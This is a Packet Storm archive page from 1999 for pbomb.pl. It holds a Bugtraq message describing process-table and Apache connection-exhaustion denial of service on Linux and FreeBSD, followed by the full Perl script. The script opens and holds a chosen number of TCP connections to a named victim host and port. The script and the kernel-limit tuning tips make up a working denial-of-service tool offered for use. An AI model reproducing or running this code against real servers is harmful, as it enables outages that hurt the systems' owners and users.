exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pbomb.pl

pbomb.pl
Posted Aug 17, 1999
Authored by unknown

Process bomb Denial of Service attack coded in perl that is designed to open a lot of connections to a given port on a given machine. Similar in concept to octopus.c.

tags | exploit, denial of service, perl
SHA-256 | 98464ca3517df297317b71e788585acb5b4bb2d5bff27d94843777dcec440a0d

pbomb.pl

Change Mirror Download
Date: Mon, 22 Feb 1999 15:49:45 -0800
From: unknown@RIVERSTYX.NET
To: BUGTRAQ@netspace.org
Subject: Re: Process table attack (from RISKS Digest)

Apache is also quite vulnerable, at least to a http DOS... It's pretty
easy to swamp it by opening HARD_SERVER_LIMIT connections.

It's also usually unnecessary to use a root-spawned daemon for the attack,
as long as you can find more than one listening daemon. The per-user
limit is often something like 1/2 the size of the process table. I know
that under Linux it is by default (MAX_TASKS_PER_USER = NR_TASKS/2).

In experimentation, I found that there was no need to use multiple
machines or anything like that to perform the attack using Linux or
FreeBSD. Sample code is at http://www.riverstyx.net/stuff/pbomb.pl. All
that needed to be done on FreeBSD was increase MAX_OPEN. On Linux,
NR_OPEN and MAX_OPEN needed to be increased. You might also have to
fiddle with /proc/sys/kernel/file-max and ulimit.

On a related note, on a Linux machine with Apache's HARD_SERVER_LIMIT
higher than Linux' MAX_TASKS_PER_USER it'll do some pretty interesting
stuff. You'll end up with a couple hundred instances of Apache that are
unkillable by any method, all sitting on port 80 and not responding to
anything beyond the inital connection. The only solution that I know if
is to reboot at that point...

-------------------- pbomb.pl --------------------

#!/usr/bin/perl

use Socket;

# opens a lot of connections to a given port on a given machine
# by unknown

# create a local filehandle so's not to fuck up the namespace. connect it to the server you want to die
# and leave it alone...

sub connect_me {
local *FH;
my $iaddr = gethostbyname('localhost');
my $proto = getprotobyname('tcp');
my $paddr = sockaddr_in(0, $iaddr);
my($host);
my $hisiaddr = inet_aton($victim) || die "unknown host";
my $hispaddr = sockaddr_in($port, $hisiaddr);
socket(FH, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(FH, $hispaddr) || die "bind: $!";
# return the filehandle so it doesn't get wiped
return *FH;
}
if (scalar @ARGV != 3) {
print "usage: pbomb.pl <victim> <port> <count>\n";
exit(0);
}
$victim = $ARGV[0];
$port = $ARGV[1];
$max = $ARGV[2];

$count = 0;
while (1) {
push @handles, &connect_me;
$count++;
$staggered and sleep 3;
if ($count == $max) {
while (1) {
sleep 1;
}
}
}

Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close